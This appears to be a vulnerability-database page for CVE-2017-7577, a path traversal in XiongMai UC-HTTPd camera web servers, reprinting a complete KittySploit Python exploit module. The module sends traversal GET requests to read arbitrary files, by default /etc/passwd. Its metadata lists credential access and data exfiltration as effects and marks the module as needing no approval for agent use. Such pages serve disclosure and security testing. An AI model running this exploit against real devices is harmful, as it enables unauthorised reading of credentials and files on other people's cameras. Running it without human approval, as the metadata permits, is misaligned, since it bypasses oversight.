Lucene search
+L

XiongMai UC-HTTPd Path Traversal

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Path traversal in XiongMai UC-HTTPd allows listing directories and reading files.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2017-7577
27 Aug 202609:00
–circl
cnvd
CNVD
XiongMai uc-httpd Directory Traversal Vulnerability
10 Oct 201700:00
–cnvd
cve
CVE
CVE-2017-7577
7 Apr 201704:33
–cve
cvelist
Cvelist
CVE-2017-7577
7 Apr 201704:33
–cvelist
euvd
EUVD
EUVD-2017-16582
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2017-7577
7 Apr 201704:59
–nvd
prion
Prion
Directory traversal
7 Apr 201704:59
–prion
ptsecurity
Positive Technologies
PT-2017-17812
7 Apr 201700:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2017-7577: Improper Limitation of a Pathname to a Restricted Directory
7 Apr 201700:00
–rapid7
vulncheck_kev
VulnCheck KEV
VulnCheck KEV: CVE-2017-7577
22 May 202600:00
–vulncheck_kev
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""XiongMai UC-HTTPd Path Traversal"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'XiongMai UC-HTTPd Path Traversal',
        'description': 'Module exploits UC-HTTPd Path Traversal vulnerability in multiple XiongMai cameras. If target is vulnerable it is possible to list directories and read files from the file system.',
        'author': ['keksec', 'GH0st3rs'],
        'cve': ['CVE-2017-7577'],
        'platform': Platform.LINUX,
        'references': ['https://packetstormsecurity.com/files/142131/uc-httpd-directory-traversal.txt', 'https://www.cvedetails.com/cve/CVE-2017-7577/'],
        'tags': ['iot', 'camera', 'lfi', 'unauth', 'cve-2017-7577', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    filename = OptString("/etc/passwd", "File to read from filesystem")

    def run(self):
        if self.check():
            print_success("Target seems to be vulnerable")

            path = "/../../../../..{}".format(self.filename)
            response = self.http_request(
                method="GET",
                path=path
            )

            if response is None:
                print_error("Exploit failed - could not read response")
                return

            print_status("Reading file: {}".format(self.filename))

            if response.text:
                print_info(response.text)
            else:
                print_status("File seems to be empty")
        else:
            print_error("Exploit failed - target seems to be not vulnerable")
    def check(self):
        path = "/../../../../../etc/passwd"
        response = self.http_request(
            method="GET",
            path=path
        )

        if response and ("/etc/passwd" in (response.text or '')):
            return True  # target is vulnerable

        return False  # target is not vulnerable

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
8.4High risk
Vulners AI Score8.4
CVSS 25
CVSS 39.8
EPSS0.2827
0